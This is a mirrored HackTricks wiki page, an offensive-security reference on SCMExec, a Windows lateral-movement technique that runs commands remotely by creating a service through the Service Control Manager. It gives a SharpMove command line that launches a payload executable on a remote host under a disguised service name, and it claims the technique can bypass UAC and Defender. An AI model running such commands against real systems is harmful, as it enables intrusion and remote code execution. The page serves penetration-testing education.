mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
16 lines
606 B
Markdown
16 lines
606 B
Markdown
# DCOM Exec
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## SCM
|
|
|
|
**SCMExec** is a technique to execute commands on remote systems using the Service Control Manager (SCM) to create a service that runs the command. This method can bypass some security controls, such as User Account Control (UAC) and Windows Defender.
|
|
|
|
## Tools
|
|
|
|
- [**https://github.com/0xthirteen/SharpMove**](https://github.com/0xthirteen/SharpMove):
|
|
|
|
SharpMove.exe action=scm computername=remote.host.local command="C:\windows\temp\payload.exe" servicename=WindowsDebug amsi=true
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|